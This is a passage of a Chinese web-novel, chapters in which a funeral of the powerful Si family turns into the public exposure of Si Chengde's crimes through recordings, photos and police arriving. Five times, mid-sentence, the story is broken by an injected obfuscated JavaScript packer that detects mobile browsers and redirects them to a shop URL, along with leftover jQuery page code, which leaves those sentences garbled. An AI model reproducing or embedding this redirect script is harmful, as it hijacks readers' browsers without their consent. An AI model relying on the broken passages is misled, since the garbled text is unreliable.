姜梨被狗仔拍到过两次,都是娜姐去处理的,才没有被曝出照片和视频。 娜姐细细打量着姜梨,四年未见,她有了巨大的变化。 有一种,身上竖起来的尖刺,被硬生生拔掉的感觉。 已经看不到一点冷漠寡言的样子,那双眼睛虽然清冷,但却无时无刻都带着一丝笑意,让她看上去柔和了许多,清冷中多了一点温婉。 这才是她这个年纪,该有的模样。 一直被姜梨忽略的司机陆临偏头看向姜梨,她脸上的红疹已经褪的差不多了,只有几点淡淡的红印,她还保持着撑伞的姿势,雨下的很大,雨水连成串一般从伞的边缘滴下来。 陆临出声提醒她:“赶紧上车,傻站在外面淋雨干什么?” 这才回过神来,钻进车里。 “娜姐,您怎么……”姜梨还是觉得震惊,南诗奕死的时候,跟她关系亲密的人都被司老头暗中处理了,一点痕迹都不留。 娜姐作为南诗奕的经纪人,更是首当其冲,姜梨的幻想症痊愈后,第一件事就是找娜姐。樱洲,北城,甚至是整个内地都找不到她的一点踪迹。 姜梨曾一度以为,她已经不在这世上了。 娜姐眼帘低垂,缓缓开口:“是司南赫,阿南死后,他第一时间就把我送去了国外,避开了这一劫。” “也是他把我从国外接回来,一起告发司承德的恶行。” “嗯,司老头已经死了,不会再有人对我们造成威胁,所以我会把当年被压下来的照片全部曝光,包括你的在内。”娜姐摸了摸皮包,表情严肃,“我看到那些新闻的时候,就知道一定是你的手笔,但是远远不够。” “只有我和你两个人亲自拿着证物站出来,才能锤死地下情是司南赫主动,是他一直死缠烂打。” 姜梨对这个没有意见,她本来也就是这么打算的。 她现在困惑的是,司承德除了引导舆论,还干什么了吗? 还有司南赫,背地里帮南诗奕安顿好她身边的每一个人已经够匪夷所思了,他为什么还要联合娜姐去告发司承德?他们父子感情不是很好吗? 姜梨这一刻觉得她的大脑像生了一层锈,有些卡壳。 陆临透过后视镜,看她眉毛都皱在了一起,眉毛抬了一下,告诉她:“司承德是最早发现司南赫和南诗奕的关系的,所以不顾菱姨和南诗奕的意愿,果断把她推出去联姻。” “而且,这次葬礼他还私自把港城那边的几尊大佛也给请来了,无非就是想借着这次葬礼,彻底把脏水泼到南诗奕身上,想要所有人都知道他对南诗奕有多尽心尽力,到头来她身边的人还要搞伪证抹黑司家,把这盆脏水泼到南诗奕身上,保住司南赫的名声,顺便给他重新物色港城那边的名媛,继续扩大司家的地位。” “害死司南赫亲妈的元凶是他,给南诗奕泼脏水的是他,你觉得司南赫这次会放过他吗?” 姜梨的眼睛瞪大,有些难以置信。 司南赫的母亲去世的时候,司承德为她大办了一场葬礼。 那个时候楚云和姜梨的生父还没有离婚,姜铭生白手起家创业,建立了姜氏,虽然比不上如今沈家的地位,但在樱洲也能排得上号,所以楚云和姜铭生也受邀参加了这场葬礼。 两个人回来之后,就一直唉声叹气的感叹这位司夫人运气不好。好不容易怀了二胎,欢欢喜喜的去医院产检,谁知道会遇到一个精神异常的女人?被她一刀割断了颈动脉,一尸两命。 姜梨那一年已经五岁,这件事又过于轰动,所以她记得很清楚,也绝对不可能记错。 怎么现在又变成了是司承德一手造成的? “司承德不过就是一个伪君子,司南赫的母亲去世不到一年,她就迫不及待的娶了苏家的长女,也就是菱姨,以此来达到让司氏更上一层楼的目的。”陆临单手掌着方向盘,唇边吊着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293868|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抹讥讽的笑,“借用了人家的势力,又害怕会被打压,所以菱姨和他才会没有孩子,如果不是半路杀出个江淮之,司南赫就是唯一的继承人。” “司家和陆家是世交不是没有原因的,行事风格都是一样的卑劣。” 姜梨和娜姐听完他这一番话,皆是瞠目结舌,两个人面面相觑,半天都说不出来一句话。 姜梨原本以为楚云已经是这个世界上最不要脸的人了,没想到司承德比她还要没有下限,比她还更无耻。 看着高贵优雅,富贵无极的豪门大院,实际上就是一个瓜条聚集地,也是一个吃人不吐骨头的地方。 陆临:“反正司家的男人,不管老小,都没有一个好东西,随便拉两个人出来都凑不出来一个妻子,但是却有可能有同一个床伴。” “谁喜欢司家男人我笑谁一辈子,渣就算了,还他妈克妻。”说完这句话他又停顿了一下,意味深长的补了一句:“包括江淮之,也不是好东西。” “………”姜梨皱眉,瞪了一眼他的后脑勺,“谁当着人的面 说人家哥哥的坏话的?” 陆玲哼笑,“这不是坏话,这是实话。为了钱和权,连自己亲妈都能杀,能是好人?” 不是这样的。 生而不养,算哪门子的妈?难道就要因为她生了他,所以不管她对江淮之做过什么过分的事,都要江淮之无条件供着她吗? 姜梨的眼皮微垂,长睫半掩住眼睛,看不清她的眼神,声音略带着点笑意:“你再说,我就给你牙打掉。” “我这是在提醒你,不要被他那张虚伪的皮囊给骗了。他连至亲都下得去手,又更何况是你这个没有血缘关系的妹妹?”陆临提醒她:“梨妹妹,你的心思还是藏一藏的好,他的未婚妻是傅绾。今天人多眼杂,要是被傅家人看出来端倪,你的下场会和阿南姐一样。” 傅绾和江淮之的这场婚事,两家人都是志在必得。如果要是让傅家人看出来她的心思,绝对不可能容得下她。 姜梨轻轻应了一声。 第80章 他不能入司家祖陵 细雨霏霏,殡仪馆门口放置着花牌,门口聚集了司承德提前联系好的记者。 即便是司家现在丑闻满天飞,来参加葬礼的人也不少。 关于司南赫和南诗奕的那桩新闻,司承德已经出具了法院传票和律师函的回应,白纸黑字写的明明白白,已经证实是有人在蓄意造谣。 他们没有必要为了这些虚假的花边新闻就拒绝参加这场葬礼,这是在白白得罪司家。 至于司老爷和陆诗予的事情……… 人都已经死了,谁还去计较这么多? 这时,一辆劳斯莱斯停在了门口,谢鹤枭从车上下来,他撑开伞微微侧身,顺势将手递过去,纪繁星握住他的手掌,下车,站在了他旁边。 怀里抱了一束白花。 谢鹤扬则是两手空空的跟在两个人身后。 “这………这好像是谢家的车………”门口眼尖的人已经认出来车上有谢家的家徽,心中都惊了一下,“司家这次连港城谢家的都请来了!?” “不止呢,楚家那边也来人了。” “还好还好,我没有推掉这次邀请………” 楚家就暂且不说吧,连一直不踏足内地的谢家都能被司家请到场,谢家都卖给了司家面子,更何况是他们这些无名小辈。 接过殡仪馆工作人员递过来的白花别在了胸前,三个人一同踏进了灵堂。 正中央摆放着司老头的黑白遗照,挂着白色的丧幡,旁边簇拥着祭奠的白花,点着火烛。 到场的人们的服装都是统一的黑色,每个人的胸前都别上了一朵白花,坐在了红毯两边的椅子上。 司南衍扶着司南泽走过红毯,跪在灵前,开始给逝去的老人,磕头上香。 两个人的表情虽然严肃且虔诚,但是却看不出来一丝一毫的哀痛,司家上下几十号人,皆是如此。 没有一个人,落一滴眼泪。 谢鹤枭和谢鹤扬一出现,周围人的视线就看了过来,不约而同的发出一阵不小的唏嘘。 谢鹤枭眼神转了好几圈,愣是没看到江淮之的影子,眉心轻皱了一下。 司老爷子的葬礼,作为家主的江淮之居然不在现场,全程都是由司承德和司南衍负责。 来参加葬礼的人员,都在灵堂前放了一束白花。 他低眼看了一眼纪繁星,她会意,把手中的那束白花递给谢鹤枭,然后一声不响的的坐在了一边的椅子上。 谢鹤扬“啧”了一声,看了一眼谢鹤枭,无奈的跟在他身后,陪着他走这一个过场。 他是不知道谢鹤枭是什么想法,一个从前死活不愿意来内地的人,这一次却非要来参加这个烂人的葬礼。 美名其曰是他跟江淮之有合作,并且樱洲市长的千金要跟江淮之结亲,司家的这个面子他是一定要给。 但是他们的邀请函又不是江淮之送来的,而是司承德那边送到他们手上的,他算个什么东西?也配让他们谢家给他面子? 谢鹤枭一眼看出谢鹤扬的心思,低声提醒他:“再点不满,呢系喺司家嘅地头上,唔系喺港城。面要畀你尊重啲。”(再怎么不满,这是在司家的地盘上,不是在港城。面子要给,你放尊重一点。” 谢鹤扬摸了摸鼻子,拖着腔调:“你要真系想畀足面,就唔会畀阿嫂坐喺度,咁少我一个又点呀?”(你要真想给足面子,就不会让大嫂坐在那里了,那少我一个又怎么了?) 纪繁星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293869|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到新闻,所有脏话都被她拎出来骂了一通,司家祖宗十八代都被她骂完了,这要是让她来献花,她会恶心的一个半月睡不着觉。 况且,这个老东西也确实配不上让她来献花。 一想到纪繁星愿意忍着恶心来这么一趟是为了看江淮之,心里就觉得极其不爽。 谢鹤枭冷冷的剜了谢鹤扬一眼,抱着花走到灵台前,双手捧着放了上去。 “谢先生,谢二少。”司南衍牵着司南泽走了下来,站在了两个人面前,朝着他们微微颔首,“我大伯和我父亲忙于丧礼事宜,让我代他们来向谢家问好,也感谢您和二少百忙之中抽出空来参加我爷爷的葬礼。” 谢鹤枭的眼神扫过司南泽,眼底划过一丝不易察觉的笑意,最后看向司南衍,嗓音温润如玉,说普通话时带了一点港城那边的口音:“司先生言重了,逝者为大。” “请谢先生和谢二少入座。” —— 坐在前排的沈叙回头看了一眼谢鹤枭,视线相撞,沈叙的眼神暗了暗,没有起身和他寒暄。 谢鹤枭则是轻飘飘的移开视线,在最不起眼的位置找到了纪繁星。 她刻意低着头,头发遮住了大半张脸,根本不会有人注意到她。 谢鹤扬走过去坐下,纪繁星依旧低头不语。 他看着纪繁星,开口说道:“怎么?没看到你心心念念的北城太子爷,不高兴了?” 纪繁星咬着后槽牙,轻轻掐了他一下,开始对他解释:“那是姜梨喜欢的男人,她长得都那么漂亮了,我就是很好奇江淮之这个人到底得帅成啥样才会连她都看不上。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第81章 司南赫不肯放过她 苏菱的话一出,全场哗然。 司承曜的脸色变了变,抱着遗像的手都有些抖,大声呵斥:“来人!把这个胡言乱语的女人给我带下去!” 苏菱止不住的冷笑,这是欺负她苏家远在榆北,想着没有人给她撑腰,所以他们司家才敢对她这么无礼。 当初,司承德要不是因为娶了她,司家哪里能有今天? 守在外面的保镖几步向前,伸手就要压住苏菱,在他们动手的前几秒,江淮之不咸不淡的声音从苏菱身后响了起来。 “我看谁敢。” 江淮之缓缓走进来,站定在了苏菱旁边,一双眼睛直直的盯着前来压人的保镖,强大的压迫感逼得他们后退好几步,立马低下头,“大……大少爷。” “菱姨是我父亲的妻子,司家的当家主母。”江淮之眼神微动,看向司承曜,“三叔不分青红皂白就要当众押解她,怎么?司家现在是由你做主了吗?” 不分青红皂白? 苏菱在葬礼上穿大红色冲撞逝者是其罪责之一,耽误逝者入祖陵是其罪责二,当着樱洲、北城、港城所有权贵的面,污蔑逝者是其罪责三! 究竟哪一条冤了她! 司承曜本来就因为突然被江淮之罢免职务而生气,现在更是气得胸口剧烈起伏,抱着的遗像都在轻微的抖,却一句话都说不出来。 苏菱看向站在台上的司承德,眼神冷的如深冬的寒潭,一字一句,铿锵有力:“司承德和老爷子,明知道是司南赫对我女儿强取豪夺,为了保住名声,不惜颠倒是非黑白,让阿南一个人背这一口大锅!害得她郁郁寡欢,患上严重的精神疾病!” “阿南三番两次留下巨额抚养费,想要独自离开司家,他们却百般阻挠。最后甚至不惜将她囚禁,逼迫她与其他权贵联姻。” “陆诗予陷害她,司家压榨她。”苏菱的眼眶渐渐红了起来,声线都有些颤抖,“你们司家和陆家真是好一对豺狼虎豹!逼得我的阿南郁郁而终!司承德在她死后还要诋毁她!阿南生前对你,对我那是何等孝顺?你就不怕遭报应吗!” 在场的所有人皆是倒吸一口凉气,心口被苏菱这番话激起了千层浪,也顾不得这是在司家的葬礼上,开始七嘴八舌的议论起来。 司承德看着底下的场景,太阳穴“突突”跳了两下,指着苏菱怒斥:“苏菱!胡说八道也要有个限度!” “谁说我是胡说八道?”苏菱眉梢微微挑起,红唇微勾:“我有证据!” 话音刚落,灵堂的喇叭突然响了起来。 随着微弱的电流声,一阵悠扬的钢琴曲传了出来。 “你弹错了。” 青涩稚嫩的声音骤然出现,让江淮之的手指僵了一下,眼底微暗。 钢琴曲被打断,严厉的女音大喊着:来人!来人!快把这个小丫头带走!” “娜姐。”南诗奕拦住出声拦住他们,声音沙哑温和:“疗养院里的都是病人,况且这还是个小孩,不要吓到她。” 众人皆是一头雾水,没有听明白这是怎么样的一段录音。但是在场的叶辞和叶夫人却是知道,音频里那个小孩是姜梨。 一阵悉悉簌簌的动静,钢琴声再度响起,比最开始的那段激昂,也更精湛,“应该这样才对。” “哇!”南诗奕感叹,“妹妹你好厉害!长得也漂亮!你多大啊?你哪个科室的?你这样闯上来没有医生拦你吗?你………” “他们拦不住我。”女孩打断她的话,吐槽了一句:“你真的是抑郁症患者么?你好聒噪。” 还没等南诗奕回答,音频里又出现了一些杂乱的脚步声,应该是几个护士来找人了。 过了会,南诗奕问:“那个,你叫什么?” “姜梨。生姜的姜,梨花的梨。”姜梨顿了一下,又补了一句:“我住在顶楼的病房,A区,睡眠障碍科。” 谢鹤扬听到“姜梨”两个字,猛地抬头,满眼惊诧。 突然想起来,在那次陆家老头子的宴会上,姜梨的所作所为。 她哪里是不想看司南赫和陆诗予订婚?分明是在给南诗奕报仇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293870|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那姜梨今天也来了?她在现场? 音频也就到此结束。 “阿南在十八岁那年就已经患上了严重的抑郁症,在疗养院里认识了姜二小姐。”苏菱盯着司承德,冷笑了一下,“但是你却口口声声说是有人在造谣,那些曝光出来的病历单也说是假的………你们司家还要脸吗?” “苏菱!” “你要是觉得这段音频是假的,没有关系,我还有视频。”苏菱说完,挥了一下手。 几个工作人员走出来,放置了一台投影仪,正对着一面白墙,按下了开关。 投影出来的画面,就是洛骞手里的诊疗视频。 江淮之总算是知道,姜梨大半夜把自己弄成那样是为了什么。 什么心情不好,什么睡不着觉,都是演的一出戏。她真正的目的,是为了去洛骞那里拿到这些东西。 怪不得她大晚上会和陆临在一起,陆临估计也是她找的帮凶。 都敢在洛骞面前演戏了,还没有让他看出来一点端倪。 真是越长大,越 厉害。 那姜梨动了洛骞的电脑,她是不是看到了别的什么东西? “对不起洛医生,我不知道姜梨她会跳下来救我,我不知道……” 视频里的声音拉回了江淮之的思绪,他抬眼看过去,印入眼帘的是熟悉又陌生的诊室,一个女孩穿着病号服,哭得身体都在止不住的抖。 镜头拍不到洛骞,只能听到他的声音,空灵的让人感觉飘飘然,“姜梨的水性很好,别说她认识你,就算是陌生人,她也会跳下去救人。” “她已经被她哥哥带回去了,不用担心。现在可以告诉我,为什么要跳海自杀了吗?” 南诗奕不知道是想到了什么,双手扯住头发,嘴唇被她咬的发白,那张就算糊满了眼泪也依旧漂亮的脸此刻有些狰狞。 过了几分钟,她才哑声开口:“我不想做司南赫情妇,不想当第三者,他不肯放过我。” “只有我死了,才能解脱。” 第82章 她是为陆璟殉情 视频是合成在一起的,每一帧画面都是南诗奕在这间小小的诊疗室,毫无顾忌的发泄压抑在心里的情绪,哭的歇斯底里。 那些司承德所做的公关,那些他所谓的是别人的蓄意造谣,在这一刻,在逝去的南诗奕的口中,被彻底推翻。 众人看着那些画面,听着南诗奕嘴里的司家,皆是瞠目结舌。 他们这些豪门大院,哪一家没有一点污糟事?但是跟司家比起来,简直就是小巫见大巫!光鲜亮丽的司家,高不可攀的司家,是实实在在的,吃人不吐骨头的地方。 舞台上和镜头前的南诗奕,自信、热烈,光芒万丈。 人前的南诗奕,阳光、活泼,温柔又开朗。 然而在背地里,她的身体、心灵都已经被摧毁,这朵红玫瑰被司家灌养,最后开败,烂在了泥土里。 南诗奕最后一次去洛骞那里,是她跳楼的前一天。 视频里,她的头发扎起,一张脸春光满面,那双狐狸眼闪着细碎的光。笑着对洛骞说:“我明天就要离开樱洲了,去冰岛。” 洛骞:“这么突然吗?” 南诗奕摇头,“也没有很突然,司南赫明天就要订婚了,他放过我了。我也该去找我的爱人了,他就在冰岛等我。” “姜梨知道吗?” “她最近应该挺忙的,跟我说她生病落了好多课程,她还想考樱大,所以她哥哥这段时间都给她补课。”南诗奕失笑,语气有些无奈:“我要是告诉她了,她又会偷偷跑出来找我,到时候又要被姜祈安抓回去打手板,想想那个场面我就觉得……怪可怜的。” 她顿了一下,深吸一口气,“等我到那边了再跟她说吧,姜梨要是因为这件事情,心情不如意。洛医生你这么厉害,肯定能哄好她。” “小孩子心性,是好哄。” 南诗奕想到什么,抬眼看着镜头,一本正经道:“都十六岁了,她的心性本来就比别人成熟,早就不是小孩子了。” 一直站在灵堂外面的姜梨,在听到这段对话的时候,眼泪猝不及防的就砸了下来,像断了线的珠子一样,怎么都止不住。 南诗奕这不是在道别,她这是在交代后事。她知道姜梨一定会发疯,所以才来跟洛骞隐喻表达,一定要治好她。 她在这个世界上活一场,牵挂的并不多。 苏菱是一个,陆璟是一个,最后一个就是姜梨了。 喉咙肿胀,视线模糊。 姜梨哭的额角青筋凸起,哭到呼吸急促,哭到缺氧几近昏厥。 陆璟被病痛缠身,痛苦挣扎多年,最后死在了冰岛。 陆家对外隐瞒了他的死讯,外人并不知晓。南诗奕知道这件事的时候,陆璟都已经死了两年了。 他的遗体被运回,连一场葬礼都不曾有,就这样无声无息的被火化成了一把骨灰。 世人皆不知晓,那个意气风发的陆家大少爷,对司家二小姐深沉又刻苦的爱意。 就连曾经的南诗奕都不曾知晓。 她要去找他,所以纵身跳下去的时候没有半点犹豫。南诗奕不是因为被疾病折磨而痛苦到自杀,她是为了陆璟殉情。 “不懂爱恨情仇煎熬的我们, 还以为殉情是古老的传言。” 姜梨的脑海里出现了这句歌词,她的身形晃了一下,手里抱着的一叠照片也落在了地上,陆临赶紧扶住她,娜姐则是一边手忙脚乱的给她递纸,一边去捡散落了一地的照片。 眼泪浸润纱布,还未愈合的伤口有些刺痛。 陆临没说话,轻轻拍着她的背,顺气。 诊疗视频到此结束,画面一转,转到了北城一中的操场。 明明周围的人群熙攘,杂乱不堪,但是南诗奕的镜头却依旧准确无误的锁定在了站在跑道上的姜梨身上。 十六岁的少女已经美的不可方物,留着一头短发,淡色的嘴唇紧抿,眼神和表情都冷的过分,为她平添了几分乖戾。 跟现在清冷温婉的姜梨,判若两人。 “我昨晚在学校门口看到了一个超级恐怖的人,阴森森的,魂都要给我吓丢了……” “那个人是林遥的哥哥,因为强奸猥亵未成年坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293871|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了牢,这几天刚从江城的监狱里出来。”沈月汐的声音突然之间插了进来,吓得楚云双眼瞪大,一颗心都提了起来,条件反射一般,猛地站了起来。 她的动作太大,全场人的目光都朝她看了过去。 沈叙听到林遥的名字时只是微微诧异了一下,但是楚云的反应却是让他有些意外,心里隐约有了一个猜测。 烧死林遥的那场大火,纵火的人不是林宴,而是沈月汐? 他的目光全然都在楚云身上,忽略的身边沈翊的表情有些僵硬,也错过了他眼里一闪而过的杀意。 然而,视频却突然戛然而止,没有了下文。 结束了。 司承德的面色铁青,伸出手指着江淮之和苏菱,“江淮之!你菱姨是因为阿南的事情耿耿于怀,所以悲伤过度胡言乱语,你也昏了头吗!” “还不赶紧让你爷爷,入土为安!” 胡言乱语?都已经到这个地步了,司承德还能颠倒黑白! 入土为安?那个死老头也配? “着什么急?又不差这一时半会。”江淮之淡淡的瞥了他一眼,神色平静温和,“让菱姨把话说完,如果真的事有不公,我也好给她一个公平的交代。” 然后用眼神示意苏菱继续。 “你说我胡言乱语,是认为这些视频是我伪造的吗?”苏菱笑了一下,“没关系,我还有人证和物证。” 说完,她拍了两下手掌。 门外的三个人听到声音,知道是该进去了。 姜梨把脸上的泪痕擦干净,缓了缓心绪,把照片从娜姐手里接过来,调整好脸上的表情,跟在了陆临和娜姐的身后。 踏进灵堂的那一刻,司承德看到娜姐,就像见了鬼一样。 这个女人不是已经被处理掉了吗!她怎么还活着! 娜姐环绕四周,扫过司老爷的遗像时轻蔑的笑了,然后毫不畏惧的看向司承德,声音不卑不亢,“我是南诗奕生前的经纪人,司董事长应该还记得我吧?” “我没有死在你制造的车祸里,您应该很失望吧?” 第84章 只要你承认,我就帮你脱罪 制造车祸?蓄意谋杀! 宾客席里的人面面相觑,每一张脸上都写着明晃晃的震惊。 姜梨一出现,楚云就知道,那段剪辑过的视频就是姜梨的手笔。 她已经知道了害死林遥的人就是沈月汐。 可那又怎么样?她以为靠这么一段视频,就能把沈月汐送进监狱里,给林遥报仇吗? 不能的,事情已经过去这么久,这个东西又能证明什么?警察办案讲的是证据,姜梨没有证据,她也不会有证据。 想到这,楚云捏紧的手松了松,僵硬的表情也放松了下来,然后若无其事的坐回了椅子上。 姜梨站在陆临旁边,余光观察着楚云的一举一动,将她的表情变化尽收眼底,嘴角微微上扬,眼里划过一丝不易察觉的笑。 楚云不是沈月汐,自然不会被一段视频给吓到。姜梨有的,也不止这一个视频。 闭了闭眼,敛去眼中的情绪。等她再抬眼时就对上了江淮之的眼睛,姜梨的心“咯噔”跳了一下。 江淮之的眼里明明带着笑,但却依旧犀利,将她彻底看穿,让姜梨有些发虚。 视频曝光,她“自残”去洛骞那里偷视频的事情,江淮之肯定已经知道了。 想到刚刚溜进殡仪馆的时候,因为膝盖疼的厉害,跑的太急,直接摔跪在了地上。 好巧不巧的就给同样匆匆赶来的江淮之行了一个大礼。江淮之把她扶起来的时候,还说了这么句话。 “我没有生气,妹妹不用这么跟我道歉。” 姜梨气得脸通红,要不是当时人多,她是真的想咬死他! 昨天晚上,还是打的太轻了。 姜梨摇了摇头,将思绪拉回来。 现在不是想这个的时候。 她分开抿了太久已经粘在一起的双唇,声音有些哑:“你们说已经给那个曝光者寄了律师函和法院传票,可我最近并没有收到任何东西,你是寄给鬼了吗?” “我曝光的所有视频和照片,我这里都有未打码的原件。医院里的医生,南诗奕从前的粉丝,还有之前跟踪过她的私生饭,都是能证明我没有造谣的证人。”姜梨抬起有些肿胀的眼皮,越过江淮之盯着已经说不出话的司承德,冷笑了一下:“我请问呢,你做了那么多亏心事,背地里杀了那么多人,哪里来的脸面污蔑我造谣?” 话音刚落,姜梨和娜姐一起抬手,将手里的各种照片抛到了半空,洋洋洒洒的飘在了整个灵堂里。 有司南赫深更半夜“私会”南诗奕的,有两个人出入酒店的,有南诗奕跪地乞求,求他放过她的。 这些都是当初娜姐和陆璟一起从狗仔手里,想方设法在曝光之前拿回来的,司南赫和南诗奕光是一起出入酒店就被拍了好多次,更不要说平常亲密动作的偷拍照了,更是多的数不胜数。 如果不是陆璟在暗地里帮忙,南诗奕的星途早就一败涂地了。 楚云在散落在地上的照片里看到了一张突兀的,用塑料膜包裹起来的打火机的照片,脸色瞬间惨白,不可置信的看向姜梨。 别人不知道那是什么,但是楚云一定知道。 这个打火机是沈月汐的,上面还有她的指纹,是她纵火的工具。 姜梨对上楚云的眼睛,眉梢微挑,唇角止不住的上扬,眉宇之间都是赤裸裸的挑衅和威胁。 好得很! 姜铭生死了也就算了,为什么不把姜梨也弄死!还非要留着这么个讨债鬼!他们真不愧是一对父女,全部都只会给她惹麻烦! “司承德,薄情寡义,自私虚伪,谋害妻儿,私自贩卖毒品。”振振有词的男音清晰可见的传进每个人的耳朵里,消失了许久的司南赫带着一大批警察冲了进来。 “贩毒!?” “我勒个老天爷啊!司家贩毒啊?!” 宾客席里的人大部分哪里见过这样的场面?惊呼声此起彼伏的响起,站起来就要离开,一时间有些混乱。 姜梨一把拉过陆临的衣袖,避开仓皇逃窜的人群,站到了纪繁星他们的旁边。 混乱之中,纪繁星避开谢鹤枭的视线,找准机会,悄悄地将一张字条塞到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293872|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜梨的手心里,看她若无其事的塞进了口袋,纪繁星提起来的心落了回去,吐出来一口浊气。 谢鹤枭听到她呼出来一口气,偏头看向她,“怎么出这么多汗?” 纪繁星面色不变,“这不是,没见过这样的场面吗?这又是谋害妻儿,又是蓄意杀人,还走私贩毒,听着就让人害怕。” “我看新闻上不都说司家现在是北城第一豪门吗?那怎么还犯罪呢?脑子有问题吗?” 谢鹤枭笑了一下:“北城第一豪门是江淮之的,不是司家的。况且,谁会嫌钱多?” 纪繁星“啧”了一声,不说话了。 万贯家财,还要干这种事情去祸害别人。道德的沦丧,人性的扭曲。这种连自己妻儿都害的人,下辈子投畜生胎是没跑了。 几个警员拦住逃窜的人们,出声安抚了几句,混乱的场面才渐渐平息,互相七嘴八舌的议论着什么。 沈叙看着突然出现的司南赫和警察,表情僵了一下。 “我们在司承德江 城的私人住处,搜到了藏匿的大批毒品。”一名配备枪支的警官拿出镣铐,眼神冰冷的看着台上的司承德。 司承德看着底下的人,怒目圆睁,面庞都涨成了紫红色。 怪不得,怪不得司南赫消失这么久都没有露面,原来是在偷偷和警方搭线调查这些东西!娜姐没有死,估计也是他救下来的。 江淮之弑母,他司南赫今天也要大义灭亲,把他这个亲生父亲送到监狱里去。 司承德双手握拳,一只手悄悄的伸到了后腰,在他摸到枪的一瞬间,他的后腰被人用另一把枪抵在了枪口。 “父亲,不要乱动。” 江淮之站在他身后,用只有两个人能听到的声音对他说:“只要你现在当着所有人的面亲口承认是你害了司南赫的母亲,跟他人口中,那个患有精神病的女人,也就是我的母亲无关。” “只要你现在承认,我妈妈是那个因为你爱慕虚荣,生下我以后被你抛弃的第一任妻子。” “我今天就帮你脱罪。” 第85章 梨妹,谢谢你 除了警察是提前通过气的,底下的其他人看不到江淮之和司承德的动作,并不知道发生了什么,还在七嘴八舌的议论着司承德的所作所为。 江淮之握着枪,又用力顶了一下,“认了,我还能想办法捞你一把,毕竟我也不想在二十八岁这个年纪就父母双亡。” “你要是不认,光是走私贩毒就已经足够枪毙你了。更不要说你手上还有好几条人命,我和司南赫手里都有证据,全部加起来,怕是去死三次都不够你赎罪的。” 警察手里拿着的镣铐泛着冰冷的光。 司承德的眼睛扫过众人,苏菱、娜姐、陆临,还有………姜梨! 所有的一切,都是因为姜梨!从那场宴会之后,事情就开始不对劲了! 都是因为她! 不过就是死了一个南诗奕而已,为什么要一个一个把这些人都找出来,全部都找出来跟他作对!跟司家作对! 全部都是因为这个诡计多端的女人! “江淮之的母亲,是我的第一任妻子。”司承德闭了闭眼,咬着牙说道:“司氏遇到了危机,我就把她送到了江城,骗她说一年之后再把她接回樱洲,最后和司南赫的母亲结了婚,借着她家的势力让司家度过了经济危机。” “一直到十二年后,我们有了第二个孩子,去产检的时候,被我的第一任妻子蓄意报复,重伤身亡。” 姜梨听到这番话,瞳孔地震。 那个在医院里,捅伤司南赫母亲的精神病患者,是江淮之的妈妈?! “哦?”江淮之却是冷笑了一声,抵在司承德后背的那把枪更加用力,“真的是这样吗?你敢再重复一遍?” 姜梨看着江淮之,这才知道他们到底在搞什么小动作,也瞬间就想明白了江淮之今天为什么没有主持这场葬礼,而是和苏菱一起姗姗来迟。 苏菱和她要为南诗奕报仇,而江淮之和司南赫,则是想为自己的母亲报仇。 姜梨的心一紧,当即就要混在人群里挤过去,生怕江淮之会当众开枪打死司承德。 这里都是警察,北城和樱洲,甚至是港城的人都在,他不能因为这么个畜生留污点。 陆临一把拽住了姜梨的围巾,将她拉了回来,“你干嘛去?好好站在这看着,江淮之他不会开枪的。” 